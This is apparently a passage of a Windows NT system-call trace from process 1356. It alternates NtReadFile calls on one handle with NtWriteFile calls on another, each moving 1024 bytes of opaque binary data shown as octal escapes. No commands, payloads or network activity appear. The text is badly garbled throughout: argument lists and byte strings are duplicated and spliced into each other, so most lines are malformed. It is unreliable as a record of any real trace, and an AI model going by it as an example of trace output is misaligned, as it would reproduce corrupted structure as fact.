x\33\3651\23>\22\40\207\12?\333\235\203\28\322\36\344z\370\32\315\204"\373D\314\304\204(\312/\377\351-\317*r\367\3623\21457<\311<\273\220\303u\15\371\372\35W-\252\0#r\20\340\351gl\33>\302\245m*f\34\356\327\227\363\201\326\232\371\215a\233+\321\223\347\3\364\26\376S\320\214\212#,\321\213\221>h\3\302\201VN*\334\234Ur6X\337\232n:84\270\356><\33\11\31\33\375)"6\326\341\330\330\253)\354K\241i\12#`\272"\375\334\32\3707\2741\267o\224\312\266\33?", ) , ) == 0x0
 01133  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\312l&\20\372\365\207_\17:\\16E\271~\274\300\324Vp@z\200\314\3419m\370\370w\26.\245z\362\3\350\3706\367\264\325\26B\333\10\235\337\11\346\336\17\376\2051\367\320\35\16\253\262\342WP\307LH\377T\360\222|\330\34\216\240;\203\241_Hf\210X1\317e\270\177\243^\342\13\232\332\251L[\320w\305,\357L\374K"R\272#sT\2018\272\305\314\27\3n\261\@\372\233\351\341\4}yb\242L\342\232A\250H\203j"R\234\320\307\6Mu\13\360\224\320|\364\0\233>\305f\326\364`,\351nv\224\364\342\356W<\221\42\201\331\310\25k\214\337\6.\276\313?@\3207\204,\355\307\242\34624\345\23&.\375\250\227\5s\266\220F\14\371\2763d\25<\#`\365\204\266\250\207\275\10\340\270%\334\204,\335\216)\321\26\363g\17\177\26\254<\7\22\267\177\336Z\26\341\345.\241!f\276\267l\300\335\203\33\24c?\231\227\235JG\11K\370:Vc\211A\266u\202\347F4:u\336{m4\10\267y\376\200\312\220\255_mf\203\260\1\362\204\203\257", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) R\272#sT\2018\272\305\314\27\3n\261\@\372\233\351\341\4}yb\242L\342\232A\250H\203j (92, 0, 0, 0, "\312l&\20\372\365\207_\17:\\16E\271~\274\300\324Vp@z\200\314\3419m\370\370w\26.\245z\362\3\350\3706\367\264\325\26B\333\10\235\337\11\346\336\17\376\2051\367\320\35\16\253\262\342WP\307LH\377T\360\222|\330\34\216\240;\203\241_Hf\210X1\317e\270\177\243^\342\13\232\332\251L[\320w\305,\357L\374K"R\272#sT\2018\272\305\314\27\3n\261\@\372\233\351\341\4}yb\242L\342\232A\250H\203j"R\234\320\307\6Mu\13\360\224\320|\364\0\233>\305f\326\364`,\351nv\224\364\342\356W<\221\42\201\331\310\25k\214\337\6.\276\313?@\3207\204,\355\307\242\34624\345\23&.\375\250\227\5s\266\220F\14\371\2763d\25<\#`\365\204\266\250\207\275\10\340\270%\334\204,\335\216)\321\26\363g\17\177\26\254<\7\22\267\177\336Z\26\341\345.\241!f\276\267l\300\335\203\33\24c?\231\227\235JG\11K\370:Vc\211A\266u\202\347F4:u\336{m4\10\267y\376\200\312\220\255_mf\203\260\1\362\204\203\257", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) f\326\364`,\351nv\224\364\342\356W<\221\42\201\331\310\25k\214\337\6.\276\313?@\3207\204,\355\307\242\34624\345\23&.\375\250\227\5s\266\220F\14\371\2763d\25<\#`\365\204\266\250\207\275\10\340\270%\334\204,\335\216)\321\26\363g\17\177\26\254<\7\22\267\177\336Z\26\341\345.\241!f\276\267l\300\335\203\33\24c?\231\227\235JG\11K\370:Vc\211A\266u\202\347F4:u\336{m4\10\267y\376\200\312\220\255_mf\203\260\1\362\204\203\257", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01134  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\221rf\244D\226\2[\302_\315Q\2166\245\221:f\6\266\37\2310\323g]\242\337\35\220)\354\337=p\336\364\3032\255\5\30M6*\3743-1/\1@Z\7E\205\326\201\26H\200G\36L\324\376\235#l1n2\341\245\352\2T\353\341\24M\355\351\271/\321/0\331r\236\367\311\311\336\274\371\14\266\34r\14\327E\325\34@\324\310qB\347\330\332\347\32D\350/oL\11>\177X\16\362\256\367p^j\371\33R;:\371\352\376\22T\235\35\246\240a" \251\231\2\13\301Kk\253+\310L\342GQBL\5G\7\363\230(IslO\326)\257,\7\257\5\347\341!\246\344P*!\240;=+Aiqqm9\2022oq[w\372=:\305=bS0\33\23\35\21\37/!-#+4 a\371(bj,g\16?\32}b\251dE\374c\270\360o=5\166m\242\34\221\223k\4\52\256X\1rg;aR\222,G\16\334\225a\332<\3245\313\310\263\255\36\17=<>?\32/\324\227S\4=*?zq\242\3g\35#d\15\200'n9Y\216\322=e\26\217\370m:9\3164\326~\31\270=\0Luwu\240\345\255"\317\200\370?\207\10\315\376.pa\277~J\335\205\367>\274\272\3733\2701:\33\36L\214?\310`-\367V*,&\3012/j#\341\1\2\265\32220\2715z\23(\321\314\236\303\302n\264\2378u\236jH\3433s\346\342d$.\326?\323,w\356d\21\260\12\25646f\2673-\322\373J\232\301\300q\35\331J\17He*\226\3165\245\313\30\251Y+,,D?Z8X0^\25y].S>{|\31T=\32\234z\331\32\373\272\303#t$\26cl\251'^\34\250\255\17\364\25d\270\374\205", )  \251\231\2\13\301Kk\253+\310L\342GQBL\5G\7\363\230(IslO\326)\257,\7\257\5\347\341!\246\344P*!\240;=+Aiqqm9\2022oq[w\372=:\305=bS0\33\23\35\21\37/!-#+4 a\371(bj,g\16?\32}b\251dE\374c\270\360o=5\166m\242\34\221\223k\4\52\256X\1rg;aR\222,G\16\334\225a\332<\3245\313\310\263\255\36\17=<>?\32/\324\227S\4=*?zq\242\3g\35#d\15\200'n9Y\216\322=e\26\217\370m:9\3164\326~\31\270=\0Luwu\240\345\255 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\221rf\244D\226\2[\302_\315Q\2166\245\221:f\6\266\37\2310\323g]\242\337\35\220)\354\337=p\336\364\3032\255\5\30M6*\3743-1/\1@Z\7E\205\326\201\26H\200G\36L\324\376\235#l1n2\341\245\352\2T\353\341\24M\355\351\271/\321/0\331r\236\367\311\311\336\274\371\14\266\34r\14\327E\325\34@\324\310qB\347\330\332\347\32D\350/oL\11>\177X\16\362\256\367p^j\371\33R;:\371\352\376\22T\235\35\246\240a" \251\231\2\13\301Kk\253+\310L\342GQBL\5G\7\363\230(IslO\326)\257,\7\257\5\347\341!\246\344P*!\240;=+Aiqqm9\2022oq[w\372=:\305=bS0\33\23\35\21\37/!-#+4 a\371(bj,g\16?\32}b\251dE\374c\270\360o=5\166m\242\34\221\223k\4\52\256X\1rg;aR\222,G\16\334\225a\332<\3245\313\310\263\255\36\17=<>?\32/\324\227S\4=*?zq\242\3g\35#d\15\200'n9Y\216\322=e\26\217\370m:9\3164\326~\31\270=\0Luwu\240\345\255"\317\200\370?\207\10\315\376.pa\277~J\335\205\367>\274\272\3733\2701:\33\36L\214?\310`-\367V*,&\3012/j#\341\1\2\265\32220\2715z\23(\321\314\236\303\302n\264\2378u\236jH\3433s\346\342d$.\326?\323,w\356d\21\260\12\25646f\2673-\322\373J\232\301\300q\35\331J\17He*\226\3165\245\313\30\251Y+,,D?Z8X0^\25y].S>{|\31T=\32\234z\331\32\373\272\303#t$\26cl\251'^\34\250\255\17\364\25d\270\374\205", ) , ) == 0x0
 01135  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\33R\300\0\343\227\215\312\277\220\236Y\304\275D\37)\237\22\275\305\302m\31\262\352\255\377\250\365\311\354\200f\354}-\203q\14\2041\177\200\324\3253\6HZ<\203\266\242\245\373\484x\201D\364\22<\256\4M\272#\223\237]\12\245\22qbMn\32\372\366\300\352\373\370\325\2452\270\362\266\3044(\10\227Z\235\356\244\364Z\206\205>\353\0\251\326\316b\257\23e\16\322\236j\247~\244\213\30\35IJ\336\24\343\355s/\13, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01136  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\303(\332\37\36)=\30w\200n\352\3438U\22\27{\11\17\324\323-,{/3b\367\225\350\3273h\321G\373GmXR{\24\211~\22@!^B$\225%\177\244\301e\312%\275.WXq\226\314\3135\273{\34-\262\247\30e??[\364\205\210\340\337K"#%O5M".!?[ Y7_\266>R4PtV%>13\32w\33\37\26."KxO\206/y\301\335\266-\235~.\275\277\350\35ev6(\5*\323\363\355z\370\34(\37\376\2373\2223\20\333M\2465G9\32\240\341]\27\23\3677\220\33U4\360q/\11:.\275=~)\33\35\332X\7a\16\253\243Z9\257Y\10\301f\33\33%\22\220\2423\3036\35\3jS>SX\302\301_\\364X.\34\361\227(\207LuW!\301n\351i\10\375\227\177X\26120`7)k:\30{k>\4M\33n<\34Fu`1st\314\231\261\24\216\254 \307~-1\1770\271\302;\274\275\21G86\234<89?HI.\305,\315\32\341c+\253\273'+\248O#I\243\275\340b>\263\304\35\217?\265\273\216\2504\266\272o\345\252LvW\3374v\303|\34\270\246!]\302\11\254N\255\3514\262\365\2630\16\303B\325\262\375\276`\20\276\26\3\24\177\2237u\240\23\257'\317'\2712y\240p\116.1\37&`b\276\373\337\352;N\271\24rK\316EGB\30B5\1\243zN%'w.\355\6\351 -&.cf\22\271,\335\1F<\306\305k?\5\263J\32JY\366?\242,\354\250\374\244+\254\256\322j&\330H\245{\24u\222>>f\206:|9c\366\267\306\265\377k\25\36\354\224\361(q\323 -w''\310", ) #%O5M"\303(\332\37\36)=\30w\200n\352\3438U\22\27{\11\17\324\323-,{/3b\367\225\350\3273h\321G\373GmXR{\24\211~\22@!^B$\225%\177\244\301e\312%\275.WXq\226\314\3135\273{\34-\262\247\30e??[\364\205\210\340\337K"#%O5M".!?[ Y7_\266>R4PtV%>13\32w\33\37\26."KxO\206/y\301\335\266-\235~.\275\277\350\35ev6(\5*\323\363\355z\370\34(\37\376\2373\2223\20\333M\2465G9\32\240\341]\27\23\3677\220\33U4\360q/\11:.\275=~)\33\35\332X\7a\16\253\243Z9\257Y\10\301f\33\33%\22\220\2423\3036\35\3jS>SX\302\301_\\364X.\34\361\227(\207LuW!\301n\351i\10\375\227\177X\26120`7)k:\30{k>\4M\33n<\34Fu`1st\314\231\261\24\216\254 \307~-1\1770\271\302;\274\275\21G86\234<89?HI.\305,\315\32\341c+\253\273'+\248O#I\243\275\340b>\263\304\35\217?\265\273\216\2504\266\272o\345\252LvW\3374v\303|\34\270\246!]\302\11\254N\255\3514\262\365\2630\16\303B\325\262\375\276`\20\276\26\3\24\177\2237u\240\23\257'\317'\2712y\240p\116.1\37&`b\276\373\337\352;N\271\24rK\316EGB\30B5\1\243zN%'w.\355\6\351 -&.cf\22\271,\335\1F<\306\305k?\5\263J\32JY\366?\242,\354\250\374\244+\254\256\322j&\330H\245{\24u\222>>f\206:|9c\366\267\306\265\377k\25\36\354\224\361(q\323 -w''\310", ) KxO\206/y\301\335\266-\235~.\275\277\350\35ev6(\5*\323\363\355z\370\34(\37\376\2373\2223\20\333M\2465G9\32\240\341]\27\23\3677\220\33U4\360q/\11:.\275=~)\33\35\332X\7a\16\253\243Z9\257Y\10\301f\33\33%\22\220\2423\3036\35\3jS>SX\302\301_\\364X.\34\361\227(\207LuW!\301n\351i\10\375\227\177X\26120`7)k:\30{k>\4M\33n<\34Fu`1st\314\231\261\24\216\254 \307~-1\1770\271\302;\274\275\21G86\234<89?HI.\305,\315\32\341c+\253\273'+\248O#I\243\275\340b>\263\304\35\217?\265\273\216\2504\266\272o\345\252LvW\3374v\303|\34\270\246!]\302\11\254N\255\3514\262\365\2630\16\303B\325\262\375\276`\20\276\26\3\24\177\2237u\240\23\257'\317'\2712y\240p\116.1\37&`b\276\373\337\352;N\271\24rK\316EGB\30B5\1\243zN%'w.\355\6\351 -&.cf\22\271,\335\1F<\306\305k?\5\263J\32JY\366?\242,\354\250\374\244+\254\256\322j&\330H\245{\24u\222>>f\206:|9c\366\267\306\265\377k\25\36\354\224\361(q\323 -w''\310", ) == 0x0
 01137  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "[\26\267\200\37'p\241\312\313\224\225\200\246\331\360\331\332\250\222\5\351\355\361yN\364Q.l\247\203\136\314w\\340=\235\210^\242h<\177c\246\352A\364\240\37\352\272\263\31\4g\264\0\365O\256\234\310%d\322|F\10r\336\3\375\15\341\312\365\305/>\334;W\210W\31?*\254\3\312\255z\311\331\346^Q#\245E\205"\1\177\203\360\215\24\302\1W\342E\212\365\223\266\252\33\205\373\272\240\372T\361\277Qp\10@R\324\217.M\243\375\\266-\343DE\355\320\252\221\342~S\207\36\352\262\241\300\250\243\302\0\220lA8q~`\212\300\252\235\267_\337\314\205\361J\243\213\31w/#<\373\20\277\6\362\364\213:&\356u\16\17\177\270\216>s\341\254)\210\337\340\255\333\2056k\307\223\314t\311\245&V\11@ \264\352`R\356\303\36\240C\210~\230\373kG\212"<\354\313\5C\350\337w\345\15\210\303\236\313\237\233\222,\257\341\15\334\262\347\316OkK\2\12\247\316\265\250vQ~4\220e_\337v\357{z\14\243i\260\15\276\372Q\350p\36\201t\217\313\343C\320\266Ra\62vS\2014WD\336T\257T\17\13X2-\323\230\274\347\340\225O,=$A\330Y\265a\372\205}b\270\311Y\240\216R\266\376\4\177D\223\252\I\347\30\335\201\354\350\331b\365\13\235}\213\10\237E\370\337\314+\372\24\331\300\345\32m\223\340\14\3629\235\14\234k\2575N?>\24\265\36`\3040\24Y\313\343X\223\302\202^\17q\213\342\373U\0\245\244\230\11\322\236}\347`{\321\331t\31\315z\336\200\233K\203(\247F.2\261G\226G\351\352`$\253\254\271\362\2|r\306\234\7\2730#\17\307\320\241\372BE\14\356\3025\21\245\352\204^])\332Y\25}\204\3002", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \1\177\203\360\215\24\302\1W\342E\212\365\223\266\252\33\205\373\272\240\372T\361\277Qp\10@R\324\217.M\243\375\\266-\343DE\355\320\252\221\342~S\207\36\352\262\241\300\250\243\302\0\220lA8q~`\212\300\252\235\267_\337\314\205\361J\243\213\31w/#<\373\20\277\6\362\364\213:&\356u\16\17\177\270\216>s\341\254)\210\337\340\255\333\2056k\307\223\314t\311\245&V\11@ \264\352`R\356\303\36\240C\210~\230\373kG\212 (92, 0, 0, 0, "[\26\267\200\37'p\241\312\313\224\225\200\246\331\360\331\332\250\222\5\351\355\361yN\364Q.l\247\203\136\314w\\340=\235\210^\242h<\177c\246\352A\364\240\37\352\272\263\31\4g\264\0\365O\256\234\310%d\322|F\10r\336\3\375\15\341\312\365\305/>\334;W\210W\31?*\254\3\312\255z\311\331\346^Q#\245E\205"\1\177\203\360\215\24\302\1W\342E\212\365\223\266\252\33\205\373\272\240\372T\361\277Qp\10@R\324\217.M\243\375\\266-\343DE\355\320\252\221\342~S\207\36\352\262\241\300\250\243\302\0\220lA8q~`\212\300\252\235\267_\337\314\205\361J\243\213\31w/#<\373\20\277\6\362\364\213:&\356u\16\17\177\270\216>s\341\254)\210\337\340\255\333\2056k\307\223\314t\311\245&V\11@ \264\352`R\356\303\36\240C\210~\230\373kG\212"<\354\313\5C\350\337w\345\15\210\303\236\313\237\233\222,\257\341\15\334\262\347\316OkK\2\12\247\316\265\250vQ~4\220e_\337v\357{z\14\243i\260\15\276\372Q\350p\36\201t\217\313\343C\320\266Ra\62vS\2014WD\336T\257T\17\13X2-\323\230\274\347\340\225O,=$A\330Y\265a\372\205}b\270\311Y\240\216R\266\376\4\177D\223\252\I\347\30\335\201\354\350\331b\365\13\235}\213\10\237E\370\337\314+\372\24\331\300\345\32m\223\340\14\3629\235\14\234k\2575N?>\24\265\36`\3040\24Y\313\343X\223\302\202^\17q\213\342\373U\0\245\244\230\11\322\236}\347`{\321\331t\31\315z\336\200\233K\203(\247F.2\261G\226G\351\352`$\253\254\271\362\2|r\306\234\7\2730#\17\307\320\241\372BE\14\356\3025\21\245\352\204^])\332Y\25}\204\3002", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01138  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "m-l\360\34L\211\30\224[P?V\245?\14\355_W\374\15U.\342J -\237\207\25w\243)\247\354$\354\220R:\223\244\2747\274\3762\226\272\211)\303\300^\16Q^\15"p\251\223\352\315\320\236(1+H`l\245M-q\250c\313\342v\25y7\263oym80^\24\22J\37/"\370q$*\234!'(\255\312-\15& je4<==9\366\10%\261+\363m\326B\3535K\225\320d\311\251\303\31\256a/\10$2\7d\244^/\340\27m\3\26no\330$3E\323=a&\333\233\6\341\36\2\15\332s\314\377\306\1498\345@3.\316A\320\251v244\342s;\207{8%A\27{\30D\1^\346b\342\242\345\1\17:\210(\260T\210,A15\2213\15\367>\267\366e\22\247\276\/\205\34\4\235\334Y1\341 \2663_\341'W\352(\250S\350,\274\252\3620\325\261\360J}Os\320pt\~\36:[/\235\20\224\336\201`;'\5(\307\6\336\373\240\355\240R\3\32\317\26:\264%\32\2271\274\372\27\317\231AuhV\5jUW\220OOnB %Kc}\315-Ndh\207\3243\363\14\265+8sX3\1775iw6\307\3238%\26\255\30102&8f.y\301ya%\347&o9^\23q\242\254\27>=$\2201u4\254{\22\30}8\34\342:\210\33\345>-%!5."%-'\215\27\302\226\2236\276'\3618;;\260\177\17\370\273?\252\206\336\34@!9\323!E&\200K)(0=(..\260\1122t@\5\274\15\245\340\130\375\372=s\36\33N\340\366\221d\203#\27=\247,A\272\12-=)/F\246\363257g7j\365K";\6\14ih\356o", ) p\251\223\352\315\320\236(1+H`l\245M-q\250c\313\342v\25y7\263oym80^\24\22J\37/ (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "m-l\360\34L\211\30\224[P?V\245?\14\355_W\374\15U.\342J -\237\207\25w\243)\247\354$\354\220R:\223\244\2747\274\3762\226\272\211)\303\300^\16Q^\15"p\251\223\352\315\320\236(1+H`l\245M-q\250c\313\342v\25y7\263oym80^\24\22J\37/"\370q$*\234!'(\255\312-\15& je4<==9\366\10%\261+\363m\326B\3535K\225\320d\311\251\303\31\256a/\10$2\7d\244^/\340\27m\3\26no\330$3E\323=a&\333\233\6\341\36\2\15\332s\314\377\306\1498\345@3.\316A\320\251v244\342s;\207{8%A\27{\30D\1^\346b\342\242\345\1\17:\210(\260T\210,A15\2213\15\367>\267\366e\22\247\276\/\205\34\4\235\334Y1\341 \2663_\341'W\352(\250S\350,\274\252\3620\325\261\360J}Os\320pt\~\36:[/\235\20\224\336\201`;'\5(\307\6\336\373\240\355\240R\3\32\317\26:\264%\32\2271\274\372\27\317\231AuhV\5jUW\220OOnB %Kc}\315-Ndh\207\3243\363\14\265+8sX3\1775iw6\307\3238%\26\255\30102&8f.y\301ya%\347&o9^\23q\242\254\27>=$\2201u4\254{\22\30}8\34\342:\210\33\345>-%!5."%-'\215\27\302\226\2236\276'\3618;;\260\177\17\370\273?\252\206\336\34@!9\323!E&\200K)(0=(..\260\1122t@\5\274\15\245\340\130\375\372=s\36\33N\340\366\221d\203#\27=\247,A\272\12-=)/F\246\363257g7j\365K";\6\14ih\356o", ) %-'\215\27\302\226\2236\276'\3618;;\260\177\17\370\273?\252\206\336\34@!9\323!E&\200K)(0=(..\260\1122t@\5\274\15\245\340\130\375\372=s\36\33N\340\366\221d\203#\27=\247,A\272\12-=)/F\246\363257g7j\365K (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "m-l\360\34L\211\30\224[P?V\245?\14\355_W\374\15U.\342J -\237\207\25w\243)\247\354$\354\220R:\223\244\2747\274\3762\226\272\211)\303\300^\16Q^\15"p\251\223\352\315\320\236(1+H`l\245M-q\250c\313\342v\25y7\263oym80^\24\22J\37/"\370q$*\234!'(\255\312-\15& je4<==9\366\10%\261+\363m\326B\3535K\225\320d\311\251\303\31\256a/\10$2\7d\244^/\340\27m\3\26no\330$3E\323=a&\333\233\6\341\36\2\15\332s\314\377\306\1498\345@3.\316A\320\251v244\342s;\207{8%A\27{\30D\1^\346b\342\242\345\1\17:\210(\260T\210,A15\2213\15\367>\267\366e\22\247\276\/\205\34\4\235\334Y1\341 \2663_\341'W\352(\250S\350,\274\252\3620\325\261\360J}Os\320pt\~\36:[/\235\20\224\336\201`;'\5(\307\6\336\373\240\355\240R\3\32\317\26:\264%\32\2271\274\372\27\317\231AuhV\5jUW\220OOnB %Kc}\315-Ndh\207\3243\363\14\265+8sX3\1775iw6\307\3238%\26\255\30102&8f.y\301ya%\347&o9^\23q\242\254\27>=$\2201u4\254{\22\30}8\34\342:\210\33\345>-%!5."%-'\215\27\302\226\2236\276'\3618;;\260\177\17\370\273?\252\206\336\34@!9\323!E&\200K)(0=(..\260\1122t@\5\274\15\245\340\130\375\372=s\36\33N\340\366\221d\203#\27=\247,A\272\12-=)/F\246\363257g7j\365K";\6\14ih\356o", ) , ) == 0x0
 01139  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\243\11\324\17Hz~;\226qU\372J5\364\327\37{\222\207\316\262\235\273\230\330\326\2\316w\234\342[HZ\202\263\15gs<\346G\317\314\277J\32DO\1\260\2132\33\31\235\2344\313\5\326x\272\277\335j\21\325\3y\277j\200i\\266\274\322\33\244\211%\27h\262\2225\363t*\305\234\303\32\377\250a\251\264\364\334\333\270|c\275\264\314\2251i\27\375\\15\362$\13\225\376\347\241\271\0O\347\215\205\214\367\252\255:J\305\\360\246"}\230\1\306\321/\315\261*\376\7.\333\3\200Esu\267\334\14\216O\365\365\321ch'\215I\307G\341\304\374c\305\373b\3002\244'\2\346\314]G\246N\271%\220CQO\5\177\26v\324f>\362\333]\235\232F\262\352>\316\275{\274\243\342\223r\327\33\352\233{o }\2\344=\212\350\244\3\206\22\306k\235\306H\b\254\216c\256\274\327\5M7\342U\362o\342\215\352s\0\312=\221\345\253M\\321=z\33\267H\324,\326\367\336\17'lK\301AD\347\311s=m\7\232\37O\251\254\372\354\2053\212eu?\256p\\215\35?Mz"W\211\304\322\15\273KW^\355\316n\254\304I\255\323\200\345\301\3135\10-\274O\27\334\367\242\323\217\357\\254\16~"\25\266\34\206k\210ERd\35\364.\205g\373\377\324\247( /v\177\252s\263]\310\5])v\301\313\223s{)\272\213{\324\23JRF\200S\340\343\4\373\273V~\202\211\360A\34f\247\303\271\363\212\2\277i\357\323:\17\115\265zC\345QW\2021S\35\322\362M230\1\306\321/\315\261*\376\7.\333\3\200Esu\267\334\14\216O\365\365\321ch'\215I\307G\341\304\374c\305\373b\3002\244'\2\346\314]G\246N\271%\220CQO\5\177\26v\324f>\362\333]\235\232F\262\352>\316\275{\274\243\342\223r\327\33\352\233{o }\2\344=\212\350\244\3\206\22\306k\235\306H\b\254\216c\256\274\327\5M7\342U\362o\342\215\352s\0\312=\221\345\253M\\321=z\33\267H\324,\326\367\336\17'lK\301AD\347\311s=m\7\232\37O\251\254\372\354\2053\212eu?\256p\\215\35?Mz (92, 0, 0, 0, "\243\11\324\17Hz~;\226qU\372J5\364\327\37{\222\207\316\262\235\273\230\330\326\2\316w\234\342[HZ\202\263\15gs<\346G\317\314\277J\32DO\1\260\2132\33\31\235\2344\313\5\326x\272\277\335j\21\325\3y\277j\200i\\266\274\322\33\244\211%\27h\262\2225\363t*\305\234\303\32\377\250a\251\264\364\334\333\270|c\275\264\314\2251i\27\375\\15\362$\13\225\376\347\241\271\0O\347\215\205\214\367\252\255:J\305\\360\246"}\230\1\306\321/\315\261*\376\7.\333\3\200Esu\267\334\14\216O\365\365\321ch'\215I\307G\341\304\374c\305\373b\3002\244'\2\346\314]G\246N\271%\220CQO\5\177\26v\324f>\362\333]\235\232F\262\352>\316\275{\274\243\342\223r\327\33\352\233{o }\2\344=\212\350\244\3\206\22\306k\235\306H\b\254\216c\256\274\327\5M7\342U\362o\342\215\352s\0\312=\221\345\253M\\321=z\33\267H\324,\326\367\336\17'lK\301AD\347\311s=m\7\232\37O\251\254\372\354\2053\212eu?\256p\\215\35?Mz"W\211\304\322\15\273KW^\355\316n\254\304I\255\323\200\345\301\3135\10-\274O\27\334\367\242\323\217\357\\254\16~"\25\266\34\206k\210ERd\35\364.\205g\373\377\324\247( /v\177\252s\263]\310\5])v\301\313\223s{)\272\213{\324\23JRF\200S\340\343\4\373\273V~\202\211\360A\34f\247\303\271\363\212\2\277i\357\323:\17\115\265zC\345QW\2021S\35\322\362M25\266\34\206k\210ERd\35\364.\205g\373\377\324\247( /v\177\252s\263]\310\5])v\301\313\223s{)\272\213{\324\23JRF\200S\340\343\4\373\273V~\202\211\360A\34f\247\303\271\363\212\2\277i\357\323:\17\115\265zC\345QW\2021S\35\322\362M277'\272\364\212\7\33\274P}\2326Be\37\323\372\3006\251=G\312\246\323-\7j\361c\272\310L\200\374\333\376/\\377\341\273\323\22\323\226\301\270j\177\306Z\3779Kn", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01140  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\337\305.\324uy\313"~D\334.f5\363`:\2046\4\372\371\272=\265{6a+\375\265\20\37\65H\14\205&$B*\212GxG\2764b\331\274\322\30\361\361\36c<\273:\252\376\12\32:\222\376\37\252\17\254c\1%\0\346\16x.\15\227\354[-\26\50\25\210\2258%\36x8d\304c\14\377\331\36\365Q\331!\14\312\312$=\243\357\350\%*8\305\25-#\261,)<71&8K;\34\267\363l+\363\237\33;\3"\4W\226\257\4&e\255\351^k,\4&\244\20\377b\333\265\360\265\266\275\360\372O;W?\327;kr\22mK\241> \27\11\6BZYXD^\27*B\266\6\24c\2447t\26489>\3033<>=\36\35\37\37?\320\334]#$!\331tekX+(-6|\3701<\4'562Z9;9l~4\177\12\14M\237X\27\1n\250\260s"&\207\265JC\37\355.;X\270t;t8:?\273\247\34z\349ho\363\15\375\253\224(\314b\242(\245\275\246#5K$\301\10<%[0:33=\227\374\337\331*\20539\203\251\6~\335M\200=.!k([v;_\35\210$.,,\256\320:=137\'<\321\252\320.3\273\377o\335,\21\27\2530\2533\333\207&'(C\325C\275\231m/11V\22241fS\261\34?<\375<9\0\33\37\321\25\33/$%\364%"d'+\313!/#()\30216w37\315%37<=8\265=9w\33\373\20\36'!-&#<' c)\6(\10)!*7\36\2630z5\324\2549 {l\260pA\363\32\35j\232 \341-\246\346$&%{\10\252n\10\305\275b0{t\31\274\6\355", ) ~D\334.f5\363`:\2046\4\372\371\272=\265{6a+\375\265\20\37\65H\14\205&$B*\212GxG\2764b\331\274\322\30\361\361\36c<\273:\252\376\12\32:\222\376\37\252\17\254c\1%\0\346\16x.\15\227\354[-\26\50\25\210\2258%\36x8d\304c\14\377\331\36\365Q\331!\14\312\312$=\243\357\350\%*8\305\25-#\261,)<71&8K;\34\267\363l+\363\237\33;\3 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\337\305.\324uy\313"~D\334.f5\363`:\2046\4\372\371\272=\265{6a+\375\265\20\37\65H\14\205&$B*\212GxG\2764b\331\274\322\30\361\361\36c<\273:\252\376\12\32:\222\376\37\252\17\254c\1%\0\346\16x.\15\227\354[-\26\50\25\210\2258%\36x8d\304c\14\377\331\36\365Q\331!\14\312\312$=\243\357\350\%*8\305\25-#\261,)<71&8K;\34\267\363l+\363\237\33;\3"\4W\226\257\4&e\255\351^k,\4&\244\20\377b\333\265\360\265\266\275\360\372O;W?\327;kr\22mK\241> \27\11\6BZYXD^\27*B\266\6\24c\2447t\26489>\3033<>=\36\35\37\37?\320\334]#$!\331tekX+(-6|\3701<\4'562Z9;9l~4\177\12\14M\237X\27\1n\250\260s"&\207\265JC\37\355.;X\270t;t8:?\273\247\34z\349ho\363\15\375\253\224(\314b\242(\245\275\246#5K$\301\10<%[0:33=\227\374\337\331*\20539\203\251\6~\335M\200=.!k([v;_\35\210$.,,\256\320:=137\'<\321\252\320.3\273\377o\335,\21\27\2530\2533\333\207&'(C\325C\275\231m/11V\22241fS\261\34?<\375<9\0\33\37\321\25\33/$%\364%"d'+\313!/#()\30216w37\315%37<=8\265=9w\33\373\20\36'!-&#<' c)\6(\10)!*7\36\2630z5\324\2549 {l\260pA\363\32\35j\232 \341-\246\346$&%{\10\252n\10\305\275b0{t\31\274\6\355", ) &\207\265JC\37\355.;X\270t;t8:?\273\247\34z\349ho\363\15\375\253\224(\314b\242(\245\275\246#5K$\301\10<%[0:33=\227\374\337\331*\20539\203\251\6~\335M\200=.!k([v;_\35\210$.,,\256\320:=137\'<\321\252\320.3\273\377o\335,\21\27\2530\2533\333\207&'(C\325C\275\231m/11V\22241fS\261\34?<\375<9\0\33\37\321\25\33/$%\364% (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\337\305.\324uy\313"~D\334.f5\363`:\2046\4\372\371\272=\265{6a+\375\265\20\37\65H\14\205&$B*\212GxG\2764b\331\274\322\30\361\361\36c<\273:\252\376\12\32:\222\376\37\252\17\254c\1%\0\346\16x.\15\227\354[-\26\50\25\210\2258%\36x8d\304c\14\377\331\36\365Q\331!\14\312\312$=\243\357\350\%*8\305\25-#\261,)<71&8K;\34\267\363l+\363\237\33;\3"\4W\226\257\4&e\255\351^k,\4&\244\20\377b\333\265\360\265\266\275\360\372O;W?\327;kr\22mK\241> 